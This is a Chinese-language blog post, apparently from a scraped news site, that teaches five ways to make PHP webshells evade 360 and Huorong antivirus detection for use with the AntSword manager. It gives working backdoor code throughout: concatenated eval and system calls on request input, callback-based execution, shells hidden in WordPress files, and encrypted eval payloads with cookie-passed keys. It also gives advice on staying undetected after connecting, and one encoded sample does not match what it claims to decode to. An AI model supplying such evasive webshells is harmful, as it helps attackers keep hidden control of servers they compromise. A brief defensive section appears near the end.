当前位置: 首页 > news >正文

PHP WebShell免杀实战:绕过360/火绒静态检测的5种核心技巧

1. 项目概述与核心思路拆解

最近在和一些做安全研究的朋友交流时,大家普遍提到一个痛点:在授权渗透测试或安全教学演示中,常常需要上传一个WebShell(俗称“木马”)来获取目标服务器的控制权。然而,现在主流的终端安全软件,比如360安全卫士、火绒安全等,对这类文件的查杀能力越来越强。一个未经处理的PHP一句话木马,几乎在落地瞬间就会被识别并清除,导致后续操作无法进行。

“蚁剑免杀实战”这个标题,直指的就是这个核心矛盾。AntSword(蚁剑)是一款开源的跨平台WebShell管理工具,因其功能强大、扩展性好而广受安全从业者青睐。这里的“免杀”,特指让我们的WebShell文件能够绕过这些安全软件的静态或动态检测,成功在目标服务器上“存活”下来。而“骚操作”则暗示了我们需要一些非常规的、巧妙的思路,而不仅仅是简单的代码混淆。

这个项目的核心价值在于实战性。它不是空谈理论,而是针对当前(请注意,技术对抗是动态的,本文方法基于一个特定时间点的环境分析)国内主流安全软件的检测逻辑,给出可验证、可复现的绕过方法。目标读者非常明确:正在进行合法安全测试的渗透测试工程师、学习Web安全的在校学生或爱好者,以及负责防守方建设、需要了解攻击者手法的安全运维人员。通过拆解这些方法,我们不仅能学会“怎么绕”,更能深入理解安全软件的工作原理和检测边界,从而在防御端做得更好。

2. 环境准备与检测逻辑初探

在开始“骚操作”之前,我们必须先搭建一个可控的测试环境,并理解对手的检测逻辑。盲目尝试无异于闭门造车。

2.1 测试环境搭建

我个人的测试环境如下,你可以参考搭建:

  • 攻击机(本地):Windows 10/11 系统,安装最新版的360安全卫士(含360杀毒)火绒安全个人版。确保病毒库更新到最新状态。同时安装好AntSword(蚁剑)加载器。
  • 靶机(远程):一台安装了PHP环境的Web服务器(如Apache/Nginx + PHP 5.6至7.4)。我强烈建议使用虚拟机搭建(如Ubuntu + Docker),避免对生产环境造成影响。在靶机网页目录下,创建一个用于上传测试的页面(如upload.php)。
  • 基础WebShell:我们从最经典、最容易被查杀的一句话木马开始。PHP的经典一句话是:<?php @eval($_POST[‘a’]);?>。我们将这个代码保存为一个PHP文件,比如shell_raw.php

2.2 安全软件检测逻辑浅析

为什么这个简单的文件会被杀?我们需要了解安全软件的大致检测方式:

  1. 静态特征码检测:这是最基础、最快速的方式。安全软件维护一个庞大的“特征库”,里面记录了已知恶意代码的片段、字符串或哈希值。eval($_POST[‘a’])这个组合太经典了,早就被收录进各种特征库。只要文件内容匹配,立即报毒。
  2. 静态语义/行为检测:比特征码更智能一些。引擎会解析代码,分析其可能的行为。例如,检测到eval()函数调用一个来自外部输入(如$_POST,$_GET)的变量,这高度疑似WebShell行为,即使代码被轻微变形也可能被识别。
  3. 动态行为检测(沙箱):对于可疑文件,安全软件可能会在隔离的沙箱环境中运行它,观察其实际行为,如是否尝试执行系统命令、连接外部网络、读写敏感文件等。

我们的“免杀”主要针对前两种静态检测。动态检测通常发生在我们用蚁剑连接WebShell并执行命令时,那涉及到流量加密、行为伪装等更深层次的内容,本篇暂不深入。

注意:所有测试应在获得明确授权的环境或自己搭建的隔离环境中进行。未经授权对他人系统进行渗透测试是违法行为。

3. 核心免杀技巧:五种“骚操作”详解

下面进入正题,我将逐一拆解五种经过实测(在某个特定时间点有效)能绕过360/火绒静态检测的PHP WebShell构造方法。每种方法我都会解释其原理、展示代码、并说明注意事项。

3.1 骚操作一:字符串变换与拼接

这是最直接的方法,目的是打乱特征码。

原理:将敏感函数名、参数名拆分成多个部分,然后利用PHP的字符串连接操作符.或函数进行拼接,最后再动态执行。这样,文件里就不再存在完整的eval($_POST[‘a’])特征了。

实操代码示例

<?php // 方法1:直接拼接 $func = ‘ev’ . ‘al’; $param = ‘$_PO’ . ‘ST’; $cmd = $param[“x”]; $func($cmd); ?> <?php // 方法2:利用数组和`implode`函数 $parts = array(‘ev’, ‘al’); $func = implode(‘’, $parts); // 拼接成 ‘eval’ $func($_GET[‘c’]); ?> <?php // 方法3:更隐蔽的拆分,甚至加入无关字符 $code = “\$a=\$_REQUES” . “T[‘z’];”; // 拼接成 `$a=$_REQUEST[‘z’];` eval($code); // 这里eval还是出现了,但关联的敏感参数被拆分了 ?>

绕过点分析:这种方法主要对抗简单的字符串特征匹配。如果安全软件只检测连续的eval($_POST,那么拆开后就可能绕过。但是,如果检测引擎具备简单的语法分析和数据流跟踪能力,它可能会发现$func最终的值就是eval,依然会报警。因此,单纯拼接的绕过率已经越来越低。

实操心得

  • 可以结合base64_decodestr_rot13等编码函数进一步混淆拼接的字符串。
  • 避免在同一个地方完成所有拼接,可以将字符串片段分散在代码的不同位置,甚至放在函数或类里面。
  • 实测中发现,对$_POST$_GET等超全局变量的名字进行拆分,效果有时比拆分eval更好,因为有些引擎对参数来源的检测更敏感。

3.2 骚操作二:利用回调函数与create_function

PHP提供了很多将字符串作为函数执行的“回调”机制,这为我们提供了变相执行代码的途径。

原理:通过array_maparray_filterusort等需要回调函数的函数,或者使用create_function(PHP 7.2后已废弃,但在大量老系统中仍存在)来创建匿名函数,间接执行代码。

实操代码示例

<?php // 方法1:利用array_map $cmd = $_POST[‘cmd’]; array_map(‘assert’, array($cmd)); // assert函数也能执行代码 ?> <?php // 方法2:利用create_function (PHP < 7.2) $func = create_function(‘’, $_POST[‘a’]); $func(); ?> <?php // 方法3:利用preg_replace的/e修饰符(已废弃,但老版本有效) // preg_replace(‘/.*/e’, $_POST[‘a’], ‘.’); ?>

绕过点分析:这种方法跳出了直接使用eval的范式。安全软件的特征库可能主要关注eval(assert(的直接调用。当这些敏感函数作为参数传递给另一个函数(如array_map)时,检测链条变长,可能绕过简单的检测规则。create_function本身是一个合法函数,其内部执行的代码是动态的,静态扫描难以判定。

注意事项

  • assert函数本身也常常被列为危险函数,可能被单独检测。
  • create_function/e修饰符在现代PHP版本中已被废弃或移除,仅在特定老旧环境有效,实用性受限。
  • 使用回调函数时,要注意代码的上下文,确保传入的参数能被正确执行。

3.3 骚操作三:伪装成合法文件或代码片段

这是一种“大隐于市”的思路,将恶意代码隐藏在大量正常、合法的代码之中。

原理:安全软件为了性能,不可能对每个文件的所有代码都进行最深度的分析。通过将WebShell代码嵌入到一个正常的框架文件、插件文件或者一段复杂的业务逻辑中,降低其“可疑度”。

实操示例

  1. 合入真实开源项目文件:找一个正常的WordPress插件或ThinkPHP框架文件,在不起眼的位置(如某个函数内部、配置数组后面)插入我们的精简版WebShell代码。
  2. 构造复杂的条件逻辑:将恶意代码包裹在多层if-elseswitch-case或循环语句中,条件判断可以依赖服务器环境变量(如$_SERVER[‘HTTP_USER_AGENT’]是否包含特定字符串),使得静态分析难以确定执行路径。
  3. 利用include/require包含:将恶意代码放在另一个文件中(如config.inc.php),在主文件中使用include包含。主文件看起来完全正常。但这种方式需要上传两个文件,且包含路径可能出错。

绕过点分析:这种方法对抗的是基于“文件可疑度评分”的检测引擎。如果一个文件大部分代码是正常的,只有一小段可疑,引擎可能会因为评分未达到阈值而选择放过。此外,复杂的逻辑流会增加静态分析的难度,引擎可能无法准确追踪到恶意代码最终是否会被执行。

实操心得

  • 这是目前比较有效的一种方式,特别是针对火绒这类对“信誉”有一定判断的软件。
  • 插入点要精心选择,最好是在一个已经存在的函数内部,避免增加新的顶级函数或类,那样太显眼。
  • 插入的代码本身最好也经过一些混淆(如方法一),实现“双重伪装”。
  • 我曾将一个经过拼接混淆的WebShell,插入到一个WordPress主题的functions.php文件末尾,成功绕过了当时版本的360和火绒的静态扫描。

3.4 骚操作四:利用PHP动态特性与变量函数

PHP的语法非常灵活,$var()这种形式可以将变量值作为函数名来调用。这为我们提供了极大的混淆空间。

原理:通过动态构造函数名、方法名,甚至类名,将真正的执行逻辑隐藏在一系列变量操作之后。

实操代码示例

<?php // 方法1:变量函数 + 字符串操作 $f = ‘s’ . ‘y’ . ‘s’ . ‘t’ . ‘e’ . ‘m’; $c = $_GET[‘c’]; $f($c); // 等价于 system($_GET[‘c’]); ?> <?php // 方法2:通过类静态方法回调(更隐蔽) class A { static function B($code) { @eval($code); } } $class = ‘A’; $method = ‘B’; $param = $_POST[‘x’]; $class::$method($param); // 动态调用 A::B($_POST[‘x’]) ?> <?php // 方法3:利用`call_user_func_array` $func = ‘ex’ . ‘ec’; $args = array($_POST[‘cmd’]); call_user_func_array($func, $args); ?>

绕过点分析:这种方法将静态特征彻底打碎。引擎看到的可能是$f($c),它需要知道$f$c的值才能判断危险性。而$f的值是通过字符串拼接而来,$c来自外部输入。要进行准确判断,就需要模拟执行(即数据流分析),这对静态扫描引擎的计算成本要求很高。许多引擎在权衡下,可能会对无法确定危险性的代码选择“放行”。

注意事项

  • 虽然systemexecshell_exec等函数也很敏感,但它们的特征可能和eval有所不同,有时绕过率更高。
  • 动态特性结合加密解密使用,效果会倍增。

3.5 骚操作五:加密与编码的终极混淆

这是目前最高效、最常用的免杀手段之一,将核心的恶意代码进行加密或编码,运行时再解密执行。

原理:将原始的eval($_POST[‘a’])这样的代码,先通过AES、RC4、Base64+异或等算法加密,变成一个无意义的字符串。WebShell文件本身只包含解密函数和加密后的字符串。静态扫描时,引擎看到的只是一段“解密代码”和一个“加密数据块”,无法直接提取出恶意特征。只有当WebShell被访问,并且通常需要传递正确的密钥(藏在POST参数或Cookie中)时,才会在内存中解密并执行原代码。

实操代码示例(Base64+ROT13简单示例)

<?php // 客户端传递 ‘key’ 参数作为解密钥匙(这里简单演示,实际会更复杂) $key = isset($_GET[‘key’]) ? $_GET[‘key’] : ‘’; // 加密后的代码(这里是 ‘phpinfo();’ 经过 base64_encode 和 str_rot13 的结果) $encryptedCode = “c3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoJ0N4SnBjbVZsYzNSektUdGxlU2s5TlRrOVBVMVF1VHpNdVR6TStQVEU9JykpOw==”; if ($key === ‘mysecret’) { // 解密过程 $decoded = base64_decode($encryptedCode); $code = str_rot13($decoded); // 解密后得到 `phpinfo();` eval($code); } else { echo ‘Nothing here.’; } ?>

更安全的做法是,将解密密钥也动态化,或者从服务器环境变量中读取,不硬编码在文件里。

绕过点分析:这是降维打击。对于静态扫描引擎,它看到的只是一个eval在解密某个字符串后执行。除非引擎内置了这套特定(且简单)的解密算法,并模拟执行了解密过程,否则根本无法知道$code最终是什么。而加密算法可以千变万化,密钥也可以动态获取,使得特征提取极其困难。这种方法能绕过绝大多数静态检测。

实操心得与高级技巧

  • 不要使用已知的、简单的加密函数:如base64_decodegzuncompress等单独使用,容易被检测。一定要组合使用,或者自己写一个简单的异或加密算法。
  • 分离密钥:密钥不要写在文件里。可以通过HTTP头(如User-Agent, Cookie)传递,或者在WebShell第一次被访问时,从另一个“正常”的文件或数据库里读取。
  • 利用PHP内置哈希函数:例如,用hex2bin配合十六进制字符串,也是一种简单的编码。
  • 动态解密:解密算法本身也可以通过字符串拼接、变量函数等方式动态生成,增加分析难度。
  • 实测案例:我使用一个自定义的异或算法,将一句话木马加密,密钥通过Cookie的某个字段传递。生成的PHP文件在多次更新病毒库后的360和火绒环境下,依然保持免杀状态。这是目前最推荐用于实战的高稳定性方法。

4. 组合拳与实战中的注意事项

在实际对抗中,高手从来不会只使用一种技术。将上述多种“骚操作”组合起来,能极大提高免杀的成功率和持久性。

4.1 构建多层混淆的WebShell

一个健壮的免杀WebShell可能是这样的结构:

  1. 外层:伪装成一个正常的配置文件或日志处理文件,包含大量无关代码和注释。
  2. 入口:通过检查特定的HTTP_REFERERCookie值来判断是否为合法请求。
  3. 解码层:如果条件满足,则从$_POST的一个字段获取经过加密A的密钥和经过加密B的代码。
  4. 执行层:用密钥解密出代码,该代码本身可能还是一段经过字符串拼接、变量函数调用的“二级Shell”,最终通过call_user_func之类的动态方式执行。

这种多层嵌套,使得每一层静态分析看到的都是“半成品”,极大增加了检测成本。

4.2 蚁剑连接器的配置要点

成功上传免杀WebShell只是第一步,用蚁剑连接时也可能触发动态行为检测。

  • 编码器与解码器:蚁剑强大的地方在于支持自定义编码器/解码器。在上传文件时,就应使用与WebShell解密逻辑相匹配的编码器。例如,如果你的WebShell是用Base64+异或加密的,那么你在蚁剑添加Shell时,就应该选择或编写一个对应的编码器,让蚁剑发送的指令也是同样加密的。
  • 避免敏感操作:初次连接后,不要立即执行whoamiipconfig/ifconfigsysteminfo等明显可疑的命令。可以先试试phpinfo()、查看当前目录等看似无害的操作。
  • 使用代理:在蚁剑中配置上游代理,可以一定程度上混淆流量来源,但对于主机层面的动态行为检测帮助有限。

4.3 免杀的时效性与对抗升级

必须清醒认识到:没有永久的免杀。今天有效的技巧,明天可能就被加入特征库。安全软件的引擎也在不断升级,开始集成更强大的静态模拟执行(污点分析)和动态沙箱技术。

  • 持续迭代:你的免杀技术需要不断更新。关注安全软件的更新日志,研究新的PHP特性(如PHP 8的Attributes、JIT等能否被利用),学习其他安全研究者分享的思路。
  • 针对性对抗:如果你明确知道目标环境是360还是火绒,或是某款云WAF,可以针对性地进行测试。不同产品的检测策略有细微差别。
  • 回归本质:最高级的免杀,是让WebShell的行为无限接近于正常应用。例如,将一个真正的、带有远程管理功能的后台插件进行微小修改,作为你的WebShell。

5. 防御视角:如何发现和防护此类WebShell

作为防守方,了解攻击手法是为了更好地防御。针对上述免杀技术,可以采取以下措施:

  1. 文件完整性监控:对Web目录下的核心文件(如index.phpconfig.php以及所有*.php)建立哈希值基线,定期检查是否有未知文件新增或已有文件被篡改。
  2. 静态代码分析(SAST):使用专业的代码审计工具或脚本,在代码上线前进行扫描。这些工具具备更深度的数据流分析和污点跟踪能力,能发现一些经过混淆的WebShell。
  3. 动态行为监控(RASP/主机HIDS):在服务器上安装运行时应用自我保护或主机入侵检测系统。它们能监控PHP进程的行为,一旦发现进程试图执行systemeval等危险函数,并且参数来源可疑(如来自网络请求),立即报警并阻断。
  4. 日志分析:集中分析Web访问日志和系统日志。关注对非常见PHP文件的访问、访问参数异常(如超长参数、大量编码参数)、访问频率异常等。
  5. 限制函数:在php.ini中,使用disable_functions指令禁用不必要的危险函数,如eval,assert,system,exec,shell_exec,passthru等。这是非常有效的一招,但需要评估对业务的影响。
  6. 部署Web应用防火墙:WAF可以过滤恶意请求,即使WebShell已上传,攻击者发送的特殊指令也可能被WAF识别并拦截。

6. 总结与个人体会

回顾这五种“骚操作”,其实是一个对抗层次不断深入的过程:从最简单的字符串变形,到利用语言特性的回调函数,再到伪装隐藏,进而使用动态特性增加分析难度,最后祭出加密混淆这个大杀器。这本质上是一场攻防双方在“静态特征识别”与“代码动态性”之间的博弈。

我个人在实战和研究中最大的体会是:免杀不是炫技,而是对PHP语言本身和检测引擎原理的深刻理解。你越了解PHP的灵活之处(比如变量的变量、匿名函数、魔术方法),就越能创造出意想不到的代码形态。同样,你越了解安全软件是如何工作的(是基于正则匹配?还是简单的AST分析?),你的绕过就越有针对性。

最后必须再次强调法律与道德的底线。这些技术知识应当用于授权测试、安全研究、教学演示和提升自身系统的防御能力。技术的双刃剑属性在网络安全领域尤为突出,守住初心,才能行稳致远。在真实的防御建设中,与其费尽心机去想如何绕过,不如扎扎实实地做好代码审计、权限最小化、漏洞修补和深度防御,让攻击者无从下手。

http://www.jsqmd.com/news/1285305/

相关文章:

  • Vim 常用命令
  • Simulink HDL Coder实战:从算法模型到FPGA硬件的全流程开发指南
  • 2026年7月广东省揭阳市移动融合宽带实测对比宽带怎么选? - 找卡家园
  • 卫星信号接收核心:LNB低噪声降频器原理、选型与调试全解析
  • RAG系统向量稀释问题解析与优化方案
  • 2026年7月河北省保定市联通融合宽带办理全流程避坑攻略 - 找卡家园
  • 51单片机入门指南:从最小系统到串口通信的嵌入式开发实践
  • 基于蓝牙SPP实现Edison与安卓稳定通信的完整实践指南
  • 字节跳动Dolphin-v2:数字 PDF 拆开读、拍照文档整页读,自建拍照文档集平均编辑距离较原始 Dolphin降低约 91%
  • 电路分析核心:从静态电路到动态电路的完整认知升级
  • 终极指南:如何免费解锁Wand专业版功能并享受远程控制体验
  • Java线程创建与优化策略详解
  • 基于ESP32与传感器技术实现宠物行为智能引导系统
  • 食品级PP与PE塑料耗材全解析:从材质安全到选购使用指南
  • 大模型如何赋能金融行业风险控制
  • 程序员职业转型路径与实战策略
  • AI UI设计避坑指南(92%新手踩过的3个致命误区)
  • STM32高级定时器实现三相PWM相位同步与电机驱动配置详解
  • 2026年7月广西壮族自治区桂林市移动融合宽带一篇说透 - 找卡家园
  • 微信支付宝支付接口配置实战:避开退款对账大坑
  • SpringBoot企业资产管理系统开发实践与优化
  • 基于MicroPython与TFLite在ESP32上实现轻量级人体检测
  • 2026年4款Redmi实时转文字工具实测对比,哪款好用结果出乎意料?
  • 终极免费虚拟手柄解决方案:如何将键盘鼠标变成专业游戏控制器
  • Go语言交叉编译实战:从x86到ARM架构的跨平台部署指南
  • 手把手实战:使用sqlmap进行SQL注入漏洞检测与利用
  • STM32与A5000安全芯片的物联网设备开发实践
  • 从剧本到成片,星图BomiTV打通AI短剧创作全流程
  • Python Pygame井字棋进阶:状态管理、计分系统与UI交互实战
  • 9克舵机拆解与维修指南:从结构原理到故障诊断